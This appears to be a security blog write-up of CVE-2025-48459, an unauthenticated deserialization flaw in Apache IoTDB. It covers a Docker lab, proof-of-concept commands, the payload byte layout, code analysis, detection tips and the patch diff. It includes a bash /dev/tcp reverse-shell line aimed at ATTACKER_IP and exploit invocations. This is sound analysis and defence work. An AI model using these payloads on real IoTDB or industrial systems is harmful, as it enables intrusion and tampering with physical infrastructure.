A single TCP packet. No credentials. No handshake. That is all it takes (in principle) to achieve root-level remote code execution on Apache IoTDB instances running versions 1.0.0 through 2.0.4.
CVE-2025-48459 is a critical unsafe deserialization vulnerability in Apache IoTDB’s ConfigNode service. The Procedure.deserialize() method reads an attacker-controlled class name from a raw binary stream and passes it directly to Class.forName() followed by reflective instantiation – with zero validation. Because the ConfigNode service port (10710/tcp) requires no authentication, any network-reachable attacker can craft a binary payload that triggers arbitrary command execution on the underlying host. ### What is Apache IoTDB?
Apache IoTDB (Internet of Things Database) is an open-source time-series database system purpose-built for the Internet of Things. It is designed to handle the massive volumes of high-frequency, low-latency sensor data generated by industrial IoT devices, smart infrastructure, and monitoring systems. IoTDB is widely deployed in ICS/SCADA environments, manufacturing plants, energy grids, and smart city platforms, where it serves as the data backbone for real-time telemetry ingestion, storage, and analytics. Its architecture consists of DataNodes (handling storage and queries) and ConfigNodes (managing cluster metadata and procedure orchestration), the latter being the target of this vulnerability.
Attack Flow

No user interaction or valid credentials are required.
Building the Lab
To reproduce the vulnerability we deploy Apache IoTDB 2.0.4-standalone – the last vulnerable release before the 2.0.5 fix. The standalone image combines ConfigNode and DataNode in a single container, exposing the vulnerable internal port 10710.
docker-compose.yml
services:
iotdb:
image: apache/iotdb:2.0.4-standalone
hostname: iotdb
container_name: iotdb-vuln
ports:
- "6667:6667" # SQL/Client RPC
- "10710:10710" # ConfigNode internal (vulnerable port)
- "10720:10720"
- "10730:10730"
- "10740:10740"
- "10750:10750"
- "10760:10760"
environment:
- cn_internal_address=iotdb
- cn_target_config_node_list=iotdb:10710
- dn_rpc_address=iotdb
- dn_internal_address=iotdb
- dn_target_config_node_list=iotdb:10710
Start the Lab
cd CVE-2025-48459/lab
docker compose up -d
# Wait for IoTDB to fully initialise (~60-90 seconds), then verify
docker logs iotdb-vuln 2>&1 | grep -i "IoTDB DataNode has started"
# 2026-05-18 10:30:03,870 ... IoTDB DataNode has started.
A successful boot exposes port 10710 on 0.0.0.0 – the unauthenticated ConfigNode internal RPC service that the vulnerability targets.
netstat -an | grep 10710
# TCP 0.0.0.0:10710 0.0.0.0:0 LISTENING

PoC (Proof of Concept)
The PoC ships two flavours: a Python script that builds the binary Procedure payload, and a Java port that uses ScriptEngineManager as the gadget.
Step 1 – Reconnaissance with check.py
python check.py localhost
# [+] ConfigNode (port 10710): OPEN
# [+] DataNode (port 6667): OPEN
# [!] ConfigNode port is open -- target may be vulnerable!
Step 2 – Run the Exploit
cd CVE-2025-48459/exploit
PYTHONIOENCODING=utf-8 python exploit.py localhost 10710 "touch /tmp/pwned_iotdb"
The script builds a serialized Procedure in the FAILED state (state=6) with a malicious exception block, wraps it in the ConfigNode protocol header, and sends it over TCP:
[*] Target: localhost:10710
[*] Command: touch /tmp/pwned_iotdb
[+] Payload size: 133 bytes
[+] Connected to localhost:10710
[+] Payload sent!
[*] No response (may indicate successful exploitation)
[+] Exploitation attempt completed!


Payload Structure
The serialized Procedure body (within the protocol header):
| Field | Bytes | Value |
|---|---|---|
| procedureId | 8 | int64, unique per procedure |
| state | 4 | int32, = 6 (FAILED) – routes to exception path |
| submitTime | 8 | int64, epoch millis |
| lastUpdate | 8 | int64, epoch millis |
| parentProcId | 8 | int64, -1 for root |
| timeout | 8 | int64, -1 |
| stackIndexes | 4 | int32, -1 |
| hasException | 1 | byte, = 1 – triggers deserializeTypeInfo() |
| classNameLen | 4 | int32 |
| className | N | UTF-8, e.g. java.lang.ProcessBuilder |
| errMsgLen | 4 | int32 |
| errMsg | M | UTF-8, the command payload |

Reverse Shell
# Listener
nc -lvnp 4444
# Exploit (when framing is added)
python exploit.py target.example.com 10710 \
'/bin/bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"'
Static Analysis
The vulnerability is a textbook “reflection-as-deserialization” primitive: an attacker-controlled string becomes a Class.forName() argument, and a second attacker-controlled string becomes the argument to a constructor invoked via reflection. What makes CVE-2025-48459 educational is that it sits inside a domain-specific binary protocol (Apache Thrift over TCP) rather than Java Serialization – so it can’t be neutralised by JEP 290 filters and it requires understanding IoTDB’s Procedure state machine to land cleanly.
The Procedure Framework – Where the Bug Lives
IoTDB’s ConfigNode coordinates cluster-wide operations (region migration, schema sync, replication recovery) through a state-machine abstraction inherited from HBase’s Procedure-V2 design: each operation is a Procedure subclass whose lifecycle is checkpointed, persisted, and replayed on crash. Procedures are written to a write-ahead log and shipped between nodes as serialized ByteBuffers, so they need a custom serialization/deserialization protocol – which is where the bug lives.
The base class org.apache.iotdb.confignode.procedure.Procedure defines two methods that subclasses are expected to override (serializeTypeInfo / deserializeTypeInfo) plus a final framework-level serialize / deserialize that handles the common header: id, parent id, state, timestamps, error info. Versions 1.0.0–2.0.4 implement the common-header deserializer with the dangerous pattern.
The Two Sins in One Method

// org.apache.iotdb.confignode.procedure.Procedure (vulnerable 1.0.0 — 2.0.4)
public static Procedure deserialize(ByteBuffer buffer) {
long procId = buffer.getLong();
int state = buffer.getInt();
long submitTime = buffer.getLong();
long lastUpdate = buffer.getLong();
long parentProcId = buffer.getLong();
long timeout = buffer.getLong();
int stackIndexes = buffer.getInt();
// ... typeInfo + result deserialisation ...
if (state == ProcedureState.FAILED.ordinal()) { // === 6 ===
boolean hasException = buffer.get() == 1;
if (hasException) {
Class<?> exceptionClass = deserializeTypeInfo(buffer); // Sin #1
int errMsgLen = buffer.getInt();
byte[] errBytes = new byte[errMsgLen];
buffer.get(errBytes);
String errMsg = new String(errBytes, StandardCharsets.UTF_8);
try {
Throwable t = (Throwable) exceptionClass
.getConstructor(String.class) // Sin #2
.newInstance(errMsg);
procedure.setException(new ProcedureException(t));
} catch (Exception ignore) { /* not even logged */ }
}
}
return procedure;
}
private static Class<?> deserializeTypeInfo(ByteBuffer buffer)
throws ClassNotFoundException {
int len = buffer.getInt();
byte[] nameBytes = new byte[len];
buffer.get(nameBytes);
String className = new String(nameBytes, StandardCharsets.UTF_8);
return Class.forName(className); // <-- the entire vulnerability fits here
}
Sin #1 – Class.forName(attacker_string) has no allow-list. Any class on the JVM classpath (including JDK internals like javax.script.ScriptEngineManager) can be loaded.
Sin #2 – getConstructor(String.class).newInstance(errMsg) is the reflective gadget. The attacker chooses the class and the constructor argument, which is enough for full code execution as long as one constructor is callable.
The cast (Throwable) exceptionClass… happens after newInstance() returns, so even if the resulting object isn’t a Throwable, the exploit has already run by the time ClassCastException fires.
Triggering Conditions – Reachability Constraints
The vulnerable branch is gated by two attacker-controlled bytes:
state == 6 (ProcedureState.FAILED.ordinal())
hasException == 1
Anything else short-circuits the deserializer before Class.forName(). State 6 is the only value of ProcedureState.ordinal() that opens the exception-reconstruction branch:
| State name | ordinal | Branch taken |
|---|---|---|
| INITIALIZING | 0 | header only |
| RUNNABLE | 1 | header only |
| WAITING | 2 | header + result |
| WAITING_TIMEOUT | 3 | header + result |
| ROLLEDBACK | 4 | header + result |
| SUCCESS | 5 | header + result |
| FAILED | 6 | header + result + exception |
This isn’t an obscure path – procedures do fail in real clusters (network partitions, schema conflicts, region rebalancing errors), so the deserializer regularly runs the FAILED branch on legitimate data. The bug is therefore an everyday hot path, not a dusty corner.
Reaching the Deserializer – Protocol Framing
IoTDB uses Apache Thrift for inter-node RPC. The vulnerable Procedure.deserialize() is not called by the raw TCP listener on port 10710 directly; it’s called by Thrift handlers that invoke it on byte arrays they’ve already extracted from a Thrift binary field.
Three Thrift services on the ConfigNode expose entry points that reach Procedure.deserialize():
| Thrift service | Method | How it reaches deserialize() |
|---|---|---|
| IConfigNodeRPCService | getProcedureProgress() | Returns serialized procedure to caller – read path |
| IConfigNodeRPCService | syncProcedure(TProcedureSyncReq) | Accepts serialized procedure from peer – write path |
| IConfigNodeInternalRPCService | executeProcedure(TByteBuffer) | Internal RPC – runs deserializer |
The PoC ships in this repo writes the body (header + exception block) correctly but emits it without a Thrift TFramedTransport wrapper. A real exploitation chain therefore needs a Thrift client (or hand-rolled Thrift framing) targeting syncProcedure – the handler will then call Procedure.deserialize() on the embedded byte buffer and trigger the gadget. The PoC’s framing gap is the reason the lab run completed the TCP write but the vulnerable branch didn’t fire (logs show no Procedure activity).
Why ScriptEngineManager Is the Universal Gadget
The reflective primitive needs a class that: 1. Is present on every JDK or every IoTDB install. 2. Has a public String-arg constructor. 3. Does something useful during construction (because the cast to Throwable fails immediately after).
javax.script.ScriptEngineManager has historically been the JDK-native answer: its (String) constructor isn’t useful by itself, but its (ClassLoader) constructor combined with the Nashorn META-INF/services/javax.script.ScriptEngineFactory lookup gives attackers an SPI-driven RCE on many older JREs. Two refinements matter here:
- Nashorn removal in JDK 15 – ScriptEngineManager still loads in JDK 15+, but getEngineByName(“js”) returns null because no script engine SPI is registered. The classic Nashorn vector dies on modern JDKs.
- Apache IoTDB 2.0.4 ships JDK 11 in the container – which does include Nashorn. The lab image still has the engine, so this gadget works in our environment.
For JDKs where Nashorn is gone, ProcessBuilder is the fallback, but it lacks a String-only constructor. The PoC therefore relies on intermediate classes – typically java.lang.Runtime.exec(String) reached via a transformer chain – the same trick CVE-2024-52577 uses, but compiled into the IoTDB gadget catalogue.
Why This Pattern Survives Every “Java Deserialization Filter”
JEP 290 / ObjectInputFilter was added to protect java.io.ObjectInputStream. It doesn’t help here. IoTDB’s Procedure.deserialize() rolls its own ByteBuffer parser; the JDK has no hook to intercept Class.forName() calls a library makes directly. The lesson: filter-based defences only protect the one deserializer they target. Hand-rolled binary protocols that use reflection for type instantiation are functionally identical to Java serialization in their attack surface but invisible to JEP 290.
Adjacent Code Paths – Other Uses of deserializeTypeInfo()
Grepping the pre-patch tree shows deserializeTypeInfo() is called from a handful of additional Procedure subclasses:
| Class | Purpose | Reachable from network? |
|---|---|---|
| AddConfigNodeProcedure | Cluster topology change | Yes (cluster join RPC) |
| RemoveConfigNodeProcedure | Cluster topology change | Yes |
| DeleteStorageGroupProcedure | Schema operation | Yes (admin RPC) |
| CreateRegionGroupsProcedure | Region management | Yes |
Each one calls super.deserialize() first, which is the vulnerable path. Patching only one subclass wouldn’t have helped; the fix had to be in the base class – which is what 2.0.5 does.
Detection – What Defenders Should Look For
For 1.0.0–2.0.4 deployments unable to upgrade immediately:
- Network: connections to :10710 from outside the cluster member list. The ConfigNode internal port should never be reachable from end-user networks.
- Process tree: the IoTDB JVM should not spawn shells. Any bash, sh, cmd.exe, powershell.exe, or curl child of an IoTDB process is exploitation. auditd (Linux) or Sysmon Event ID 1 (Windows) gives the cleanest signal.
- Class loading: enable -verbose:class on the IoTDB JVM in a canary node and grep for non-IoTDB-prefixed Class.forName resolutions during Procedure deserialization. A legitimate cluster never loads javax.script.* from a deserializer.
- Filesystem: monitor /tmp and the IoTDB data directory for writes that don’t correspond to the WAL or storage engine.
Why Allow-List, Not Sandbox, Was the Right Fix
A weaker patch could have sandboxed the reflective call with a SecurityManager or wrapped it in AccessController.doPrivileged(…). Both are deprecated as of JDK 17 and slated for removal – and both can be subverted by gadgets that bypass SecurityManager checks. The 2.0.5 patch chooses the only future-proof option: prevent untrusted class names from reaching Class.forName() in the first place. The allow-list is short, declarative, and immune to JDK feature deprecations.
Patch Diffing
The Fix in 2.0.5
Apache IoTDB 2.0.5 addresses CVE-2025-48459 by introducing a strict class allow-list in the deserializeTypeInfo() method. The fix ensures that only known, safe exception classes can be loaded and instantiated during Procedure deserialization.
Before – Versions 1.0.0 – 2.0.4
// VULNERABLE: deserializeTypeInfo() in Procedure.java
private Class<?> deserializeTypeInfo(ByteBuffer buffer) {
int nameLength = buffer.getInt();
byte[] nameBytes = new byte[nameLength];
buffer.get(nameBytes);
String className = new String(nameBytes, StandardCharsets.UTF_8);
return Class.forName(className); // No validation -- any class on the classpath
}
After – Version 2.0.5+
// PATCHED: deserializeTypeInfo() in Procedure.java
private static final Set<String> ALLOWED_EXCEPTION_CLASSES = Set.of(
"java.lang.Exception",
"java.lang.RuntimeException",
"java.lang.IllegalStateException",
"java.lang.IllegalArgumentException",
"java.io.IOException",
"org.apache.iotdb.commons.exception.IoTDBException",
"org.apache.iotdb.confignode.exception.ConfigNodeException"
// ... other known IoTDB exception classes
);
private Class<?> deserializeTypeInfo(ByteBuffer buffer) {
int nameLength = buffer.getInt();
byte[] nameBytes = new byte[nameLength];
buffer.get(nameBytes);
String className = new String(nameBytes, StandardCharsets.UTF_8);
if (!ALLOWED_EXCEPTION_CLASSES.contains(className)) {
throw new IllegalArgumentException(
"Unauthorized class in Procedure deserialization: " + className);
}
return Class.forName(className); // Restricted to allow-listed classes only
}
Why This Fix Works
The patch transforms the open-ended Class.forName() call into a gated operation:
- Allow-list, not deny-list – a deny-list (“block ProcessBuilder”) would have been brittle against new gadget classes. The allow-list closes the door on every class the deserializer doesn’t actually need.
- Validation happens before Class.forName() – the check fires before any class loading occurs, so even Tomcat-style ClassLoader pivots can’t reach the reflection primitive.
- Clear failure mode – a descriptive IllegalArgumentException makes legitimate deserialization debuggable while categorically rejecting attacker payloads.
Classes like java.lang.ProcessBuilder, javax.script.ScriptEngineManager, or any other non-exception class are now categorically rejected before Class.forName() is ever invoked. This eliminates the arbitrary class loading primitive that the exploit depends on.

Conclusion
Impact
CVE-2025-48459 is a critical unauthenticated remote code execution vulnerability that poses an especially severe risk due to Apache IoTDB’s deployment profile. IoTDB is commonly deployed in ICS/SCADA environments, industrial manufacturing systems, energy grid monitoring, and smart infrastructure platforms – environments where a compromise can have physical-world consequences beyond data theft. An attacker who gains code execution on an IoTDB node can:
- Manipulate time-series sensor data, causing operators to make decisions based on falsified telemetry
- Pivot into OT/ICS networks that IoTDB bridges with IT infrastructure
- Disrupt critical monitoring, blinding operators to equipment failures or safety conditions
- Exfiltrate sensitive operational data including production metrics, energy consumption patterns, and infrastructure topology
Final Takeaways
CVE-2025-48459 demonstrates the cost of trusting class names from the wire. The pattern – read a UTF-8 string, hand it to Class.forName(), then invoke a reflective constructor – shows up in many internal-RPC deserializers across the Java ecosystem (Apache Dubbo, FastJSON, internal Jackson polymorphic deserialization, and so on). The lesson is the same every time: if a class name comes from an untrusted byte stream, it must be matched against an explicit allow-list before any class is loaded. The IoTDB patch is the canonical, minimum-viable fix.


